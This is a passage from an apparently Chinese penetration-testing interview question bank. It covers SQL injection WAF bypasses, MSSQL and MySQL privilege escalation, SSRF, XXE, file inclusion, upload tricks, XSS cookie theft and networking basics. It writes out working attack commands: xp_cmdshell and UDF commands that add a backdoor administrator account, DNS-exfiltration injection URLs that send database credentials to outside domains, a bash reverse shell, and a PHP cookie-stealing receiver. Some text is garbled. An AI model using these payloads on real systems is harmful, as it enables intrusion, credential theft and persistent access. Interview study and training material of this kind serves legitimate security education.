GET /pen/news.php?id=1 union select user,password from mysql.user
GET /pen/news.php/admin?id=1 union select user,password from
mysql.user
GET /pen/admin/..\news.php?id=1 union select user,password from
mysql.user
(6)multipart 请求绕过,在 POST 请求中添加一个上传文件,绕过了绝大多数 WAF。
(7)参数绕过,复制参数,id=1&id=1
用一些特殊字符代替空格,比如在 mysql 中%0a 是换行,可以代替空格,这个
方法也可以部分绕过最新版本的安全狗,在 sqlserver 中可以用/**/代替空格
(8)内联注释,
文件上传,复制文件包一份再加一份
在 form-data;后面增加一定的字符
59.既然宽字节注入可以绕过单引号过滤,那么怎么来修复呢?
宽字符:解 决方法:就是在初始化连接和字符集之后,使用 SET
character_set_client=binary 来设定客户端的字符集是二进制的。修改
Windows 下的 MySQL 配置文件一般是 my.ini,Linux 下的 MySQL 配置文件
一般是 my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。
character_set_client 指定的是 SQL 语句的编码,如果设置为 binary,MySQL
就以二进制来执行,这样宽字节编码问题就没有用武之地了。
详细参考:
http://wenku.baidu.com/link?url=F4Cq18NYdsnATq3eqtr3zCWLKExoEY
V62yJp5zsfM5c85iv4rldTvl1A_SGilEAiWB_O_hg0C9A8VLoIT4K_HxyyF0Z7
xo5Pihh1VxxYa4QGiXQ_wGDjiOFHubYvshgl
60.列举出 oracle 注入获取管理员权限提权典型漏洞?
【漏洞名称】
sys.dbms_export_extension.get_domain_index_metadata 提
升权限漏洞 【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】高【攻击需求】较低权限账号
【造成危害】取得管理员权限
61.mssql 提权的提权思路有哪些步骤?
(1)首先看看 xp_cmdshel 是否 l 存在,不存在的话先恢复,恢复语句如下:
Exec sp_configure show advanced options,1;RECONFIGURE;EXEC
sp_configure xp_cmdshell,1;RECONFIGURE;
;EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC
sp_configure xp_cmdshell, 1;RECONFIGURE;--
(2)如果 xp_cmdshell 还是不行就再执行命令
;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或;sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll 来恢复
cmdshell
(3)无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指
定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc xp_cmdshell
第二步执行:exec sp_addextendedproc xp_cmdshell,xpweb70.dll
然后按 F5 键命令执行完毕
(4)终极方法 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser 系统:
declare @shell int exec sp_oacreate wscript.shell,@shell output exec
sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net user dell
huxifeng007 /add
declare @shell int exec sp_oacreate wscript.shell,@shell output exec
sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net localgroup
administrators dell /add
sql2008 提权 低权限运行
62、mssql 提权提示错误代码 5,cmd 权限不足的原因?
错误代码”5″,马上 google 之。由于 xp_cmdshell 是严格
用%systemroot%\system32\cmd.exe 去执行所提交的命令的,提示”5″,意
思是 cmd 的权限不足,就是说 system32 下的 cmd.exe 被降权了。当然也有绕
过的方法,比如启用沙盒模式执行 shell 命令:
63.怎么用 sqlmap 对 sa 权限的 mssql 2008 进行提权?
(1)第一种函数
select name from sysobjects where xtype=u 通过这个来爆第一个表
select name from sysobjects where xtype=u and name not in(爆出来的表
1,爆出来的表 2...)
一直爆下去,直到找到我们所需要的表位置
(2)第二种函数 select table_name from information_schema.tables
select table_name from information_schema.tables where table_name
not in (爆出来的表 1,爆出来的表 2...)
参考文章:http://www.freebuf.com/articles/web/10280.html
64.xxe 注入有哪些危害以及防御 ?
91)引用外部实体或者
名称 PUBLIC "public_ID" "URI">
当允许引用外部实体时,通过构造恶意内容
(2)可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
对于不同 XML 解析器,对外部实体有不同处理规则,在 PHP 中默认处理的函数为:
xml_parse 和 simplexml_load xml_parse 的实现方式为 expat 库,默认情况不
会解析外部实体,而 simplexml_load 默认情况下会解析外部实体,造成安全威胁.
除 PHP 外,在 Java,Python 等处理 xml 的组件及函数中都可能存在此问题
https://www.waitalone.cn/xxe-attack.html
XXE 漏洞 http://www.91ri.org/9539.html
[
(3)防御:
方案一、使用开发语言提供的禁用外部实体的方法
libxml_disable_entity_loader(true);
方案二、过滤用户提交的 XML 数据
1.检查所使用的底层 xml 解析库,默认禁止外部实体的解析 2.使用第三方应用代码及时升级补丁
3.同时增强对系统的监控,防止此问题被人利用
对于 PHP,由于 simplexml_load_string 函数的 XML 解析问题出在 libxml 库上,
所以加载实体前可以调用这样一个函数
65.gpc 魔术引号?
参考文章:
http://www.jb51.net/article/38990
66.MYSQL 有哪些提权方法?
(1)UDF 提权
这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:
create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:web3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);
(2)VBS 启动项提权
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user
123!@#abcABC/add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup
administrators iis_user /add"",0) " );
select * from a into outfile "C:\Documents and Settings\All Users\「开始」
菜单\程序\启动\a.vbs";
(3)Linx MySQL BackDoor 提权
Linx Mysql Door
Mysql BackDoor 是一款针对 PHP+Mysql 服务器开发的后门,该后门安装后为
Mysql增加一个可以执行系统命令的"state"函数,并且随Mysql进程启动一个基
于 Dll 的嗅探型后门,这个后门在 Windows 下拥有与 Mysql 一样的系统权限,从
而巧妙的实现了无端口,无进程,无服务的穿墙木马.
用法:将 Mysql.php 传到 PHP 服务器上,点击"自动安装 Mysql BackDoor",
然后直接执行命令即可
(4)MIX.DLL 提权
1.在独立 IP 的 sqlmap 下运
2.禁用本地缓存 net stop dns
3.http://localhost/inject.php?user=123' and if((SELECT
LOAD_FILE(CONCAT('\\',(SELECT
hex(user())),'.abc.com\foobar'))),1,1)%23
http://localhost/inject.php?user=123' and if((SELECT
LOADFILE(CONCAT('\\',(SELECT concat(user,'',mid(password,2,41)) from
user where user='root' limit 1),'.md5crack.cn\foobar'))),1,1)%23
https://sanwen8.cn/p/1acWt8J.html 4.DNS 突破
参考文章:http://www.freebuf.com/vuls/85021.html
67.什么叫 ssrf 以及 ssrf 的防御?
(1)SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构
造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从
外网无法访问的内部系统
(2)SSRF 统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态
1.限制请求的端口为 HTTP 常用的端口,比如 80,443,8080,8088 等
2.黑名单内网 IP。
3.禁用不需要的协议,仅仅允许 HTTP 和 HTTPS.
68.如何利用 php 的远程命令执行函数进行反弹 nc?
system,exec,shell_exec,paassthru,popen,proc_popen,
反弹 shell 公网服务器执行 nc –lvv 8888
目标服务器上执行?cmd= bash -i >& /dev/tcp/10.0.0.1/8888 0>&1
并在 disabl_functions 中禁用
69.文件包含漏洞可以用来做啥,以及需要主要注意的事项?
(1)配合文件上传漏洞 GetShell,可以执行任意脚本代码,网站源码文件以及
配置文件泄露,远程包含 GetShel,
控制整个网站甚至是服务器
(2)allow_url_fopen 和 allow_url_include 为 ON 的话,则包含的文件可以是
第三方服务器中的文件,这样就形成了远程文件包含漏洞 (3)/etc/passwd • 需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
(4)/etc/passwd././././././././././././.[......]/././././././././.
(5)php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows
需要长于 256
index.php?page=php://filter/read/=convert.base64-encode/resource=i
ndex.php
70.文件上传有哪些技巧?
通过抓包截断将 eval.php.jpg 换成 eval.php_jpg(下划线为 0x00)。在上
传文件时系统文件遇到 0x00。会认为文件已经结束。从而将 eval.php.jpg 的内
容写入到 eval.php 中。
。htaccess 文件内容
SetHandler application/x-httpd-php
文件幻数检测 jpg(JFIF) gif(GIF89a) png(%PNG)
apache 解析漏洞,2.0-2.2 IIS7.5 解析漏洞,任意文件名后加.php
nginx<0.8.32 1.jpg/1.php
nginx>0.8.41<1.5.6,1.jpg%20.php 解析
**SQL 注入(Sql Injection )是一种将 SQL 语句插入或添加到应用(用户)的输
入
参数中的攻击,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行。
71.HTTP 协议 head 方法的功能与 get 方法不同之处是? 不同之处在于服务器不会在其相应中返回消息主体。
• TRACE。这种方法主要用于诊断。
• OPTIONS。这种方法要求服务器报告对某一特殊资源有效的 HTTP 方法。
• PUT。这个方法试图使用包含在请求主体中的内容,向服务器上传制定的资源
** 各种注释#-- -- - --+ // /**/ 空白字符,+号,-号,~号,!号,@形式
{} %0a-----------------------------
72.域和组的区别是什么?
工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管
理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而
域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已
经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。为什
么是这样的呢?因为在加入域的时候,管理员为每个计算机在域中(可和用户不
在同一域中)建立了一个计算机帐户,这个帐户和用户帐户一样,也有密码保护
的。可是大家要问了,我没有输入过什么密码啊,是的,你确实没有输入,计算
机帐户的密码不叫密码,在域中称为登录凭据,它是由 2000 的 DC(域控制器)
上的 KDC 服务来颁发和维护的。为了保证系统的安全,KDC 服务每 30 天会自
动更新一次所有的凭据,并把上次使用的凭据记录下来。周而复始。也就是说服
务器始终保存着 2 个凭据,其有效时间是 60 天,60 天后,上次使用的凭据就
会被系统丢弃。如果你的 GHOST 备份里带有的凭据是 60 天的,那么该计算机
将不能被 KDC 服务验证,从而系统将禁止在这个计算机上的任何访问请求(包
括登录),解决的方法呢,简单的方法使将计算机脱离域并重新加入,KDC 服
务会重新设置这一凭据。或者使用 2000 资源包里的 NETDOM 命令强制重新设 置安全凭据。因此在有域的环境下,请尽量不要在计算机加入域后使用 GHOST
备份系统分区,如果作了,请在恢复时确认备份是在 60 天内作的,如果超出,
就最好联系你的系统管理员,你可以需要管理员重新设置计算机安全凭据,否则
你将不能登录域环境。
域和工作组适用的环境不同,域一般是用在比较大的网络里,工作组则较小,在
一个域中需要一台类似服务器的计算机,叫域控服务器,其他电脑如果想互相访
问首先都是经过它的,但是工作组则不同,在一个工作组里的所有计算机都是对
等的,也就是没有服务器和客户机之分的,但是和域一样,如果一台计算机想访
问其他计算机的话首先也要找到这个组中的一台类似组控服务器,组控服务器不
是固定的,以选举的方式实现,它存储着这个组的相关信息,找到这台计算机后
得到组的信息然后访问。
73.对称加密非对称加密?
对称加密:加解密用同一密钥,密钥维护复杂 n(n-1)/2,不适合互联网传输
密钥,加解密效率高。应用于加密数据。
非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联
网传输公钥,但是加密效率低,应用于数字签名及加密。
74.什么是同源策略?
1. 为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收
到的内容进行隔离。
浏览器不允许任何旧有脚本访问一个站点的 cookie,否则 ,会话容易被
劫持。 只有发布 cookie 的站点能够访问这些 cookie,只有通过该站点返回的页
面所包含或加载的 JavaScript 才能访问 cookie。
协议相同,域名相同,端口相同
75.cookie 存在哪里?可以打开吗?
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
工具--文件夹选项--查看--将隐藏被保护的文件的对勾去掉就会看到 cookies 文
件夹。
76.xss 如何盗取 cookie?
攻击者代码:
$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$cookietxt=fopen('cookie.txt','a');
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer."");
注意双引号,容易出错
fclose($cookietxt); ?>
脚本端:
获取到 cookie 后,用 firebug 找到 cookie,新建 cookie
加入 cookie,用 referer 来提交,无需输入帐号密码直接登录进去!
77.tcp、udp 的区别及 tcp 三次握手,syn 攻击?
也可参考
http://www.cnblogs.com/bizhu/archive/2012/05/12/2497493.html
(1)tcp、udp 区别
TCP 的优点:
可靠,稳定
TCP 的可靠体现在 TCP 在传递数据之前,会有三次握手来建立连接,而且在数
据传递时,有确认、窗口、重传、拥塞控制机制,在数据传完后,还会断开连接
用来节约系统资源。
TCP 的缺点:
慢,效率低,占用系统资源高,易被攻击
TCP 在传递数据之前,要先建连接,这会消耗时间,而且在数据传递时,确认机 制、重传机制、拥塞控制机制等都会消耗大量的时间,而且要在每台设备上维护
所有的传输连接,事实上,每个连接都会占用系统的 CPU、内存等硬件资源。
而且,因为 TCP 有确认机制、三次握手机制,这些也导致 TCP 容易被人利用,
实现 DOS、DDOS、CC 等攻击。
UDP 的优点:
快,比 TCP 稍安全
UDP 没有 TCP 的握手、确认、窗口、重传、拥塞控制等机制,UDP 是一个无状
态的传输协议,所以它在传递数据时非常快。没有 TCP 的这些机制,UDP 较 TCP
被攻击者利用的漏洞就要少一些。但 UDP 也是无法避免攻击的,比如:UDP
Flood 攻击……
UDP 的缺点:
不可靠,不稳定
因为 UDP 没有 TCP 那些可靠的机制,在数据传递时,如果网络质量不好,就会
很容易丢包。
基于上面的优缺点,那么:
什么时候应该使用 TCP:
当对网络通讯质量有要求的时候,比如:整个数据要准确无误的传递给对方,这
往往用于一些要求可靠的应用,比如 HTTP、HTTPS、FTP 等传输文件的协议,
POP、SMTP 等邮件传输的协议。
在日常生活中,常见使用 TCP 协议的应用如下:
浏览器,用的 HTTP FlashFXP,用的 FTP
Outlook,用的 POP、SMTP
Putty,用的 Telnet、SSH
QQ 文件传输
什么时候应该使用 UDP:
当对网络通讯质量要求不高的时候,要求网络通讯速度能尽量的快,这时就可以
使用 UDP。
比如,日常生活中,常见使用 UDP 协议的应用如下:
QQ 语音
QQ 视频
TFTP
(2)TCP 握手协议
在 TCP/IP 协议中,TCP 协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送 syn 包(syn=j)到服务器,并进入
SYN_SEND 状态,等待服务器确认;
第二次握手:服务器收到 syn 包,必须确认客户的 SYN(ack=j+1),同时自
己也发送一个 SYN 包(syn=k),
即 SYN+ACK 包,此时服务器进入 SYN_RECV 状态;
第三次握手:客户端收到服务器的 SYN+ACK 包,向服务器发送确认包
ACK(ack=k+1),此包发送完毕, 客户端和服务器进入 ESTABLISHED 状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的
概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客
户端的 SYN 包(syn=j)开设一个条目,
该条目表明服务器已收到 SYN 包,并向客户发出确认,正在等待客户的确认包。
这些条目所标识的连接在服务器处于 Syn_RECV 状态,
当服务器收到客户的确认包时,删除该条目,服务器进入 ESTABLISHED 状态。
backlog 参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完 SYN-ACK 包,如果未收到客户确认包,
服务器进行首次重传,等待一段时间仍未收到客户确认包,
进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信
息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到 SYN
包到确认这个报文无效的最长时间,
该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间
为 Timeout 时间、SYN_RECV 存活时间。
(3)SYN 攻击原理
SYN 攻击属于 DOS 攻击的一种,它利用 TCP 协议缺陷,通过发送大量的半连
接请求,耗费 CPU 和内存资源。
SYN 攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上
SYN 攻击并不管目标是什么系统, 只要这些系统打开 TCP 服务就可以实施。从上图可看到,服务器接收到连接请
求(syn=j),
将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入
SYN_RECV 状态。
当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未
连接队列删除。
配合 IP 欺骗,SYN 攻击能达到很好的效果,通常,客户端在短时间内伪造大量
不存在的 IP 地址,
向服务器不断地发送 syn 包,服务器回复确认包,并等待客户的确认,由于源
地址是不存在的,
服务器需要不断的重发直至超时,这些伪造的 SYN 包将长时间占用未连接队列,
正常的 SYN 请求被丢弃,
目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
78.证书要考哪些?
信息安全国际第一认证——CISSP
信息安全国内认证——CISAW
信息安全国内认证——CISP
信息安全技术实操认证新贵——Security+
IT 审计人员的必备之证——CISA=
79.DVWA 是如何搭建的? 启动 xampp(XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建
站集成软件包。)下的 apache 中间件和 mysql
将 dvwa 放到 xampp 下的 htdocs 目录下
在浏览器输入 http://127.0.0.1/dvwa 即可使用啦!
还有 owasp 的漏洞练习平台:
https://sourceforge.net/projects/owaspbwa/files/
80.渗透测试的流程是什么?
渗透测试流程概述
前期交互阶段、情报搜集阶段、威胁建模阶段、漏洞分析阶段、
渗透攻击阶段(Exploitation)、后渗透攻击阶段(怎么一直控制,维持访问)、
报告阶段。
攻击前:网络踩点、网络扫描、网络查点
攻击中:利用漏洞信息进行渗透攻击、获取权限
攻击后:后渗透维持攻击、文件拷贝、木马植入、痕迹擦除
81.xss 如何防御?
1.对前端输入做过滤和编码:
比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检
查需要在服务器端完成,在前端完成的限制是容易绕过的;
对特殊字符进行过滤和转义;
2.对输出做过滤和编码:在变量值输出到前端的 HTML 时进行编码和转义; 3.给关键 cookie 使用 http-only
81.IIS 服务器应该做哪些方面的保护措施?
整理来源:http://www.williamlong.info/archives/118.html
1. 保持 Windows 升级:
2. 使用 IIS 防范工具
3. 移除缺省的 Web 站点
4. 如果你并不需要 FTP 和 SMTP 服务,请卸载它们
5. 有规则地检查你的管理员组和服务:
6. 严格控制服务器的写访问权限
7. 设置复杂的密码
8. 减少/排除 Web 服务器上的共享
9. 禁用 TCP/IP 协议中的 NetBIOS:
10. 使用 TCP 端口阻塞
11. 仔细检查*.bat 和*.exe 文件: 每周搜索一次*.bat
12. 管理 IIS 目录安全:
13. 使用 NTFS 安全:
14. 管理用户账户
15. 审计你的 Web 服务器: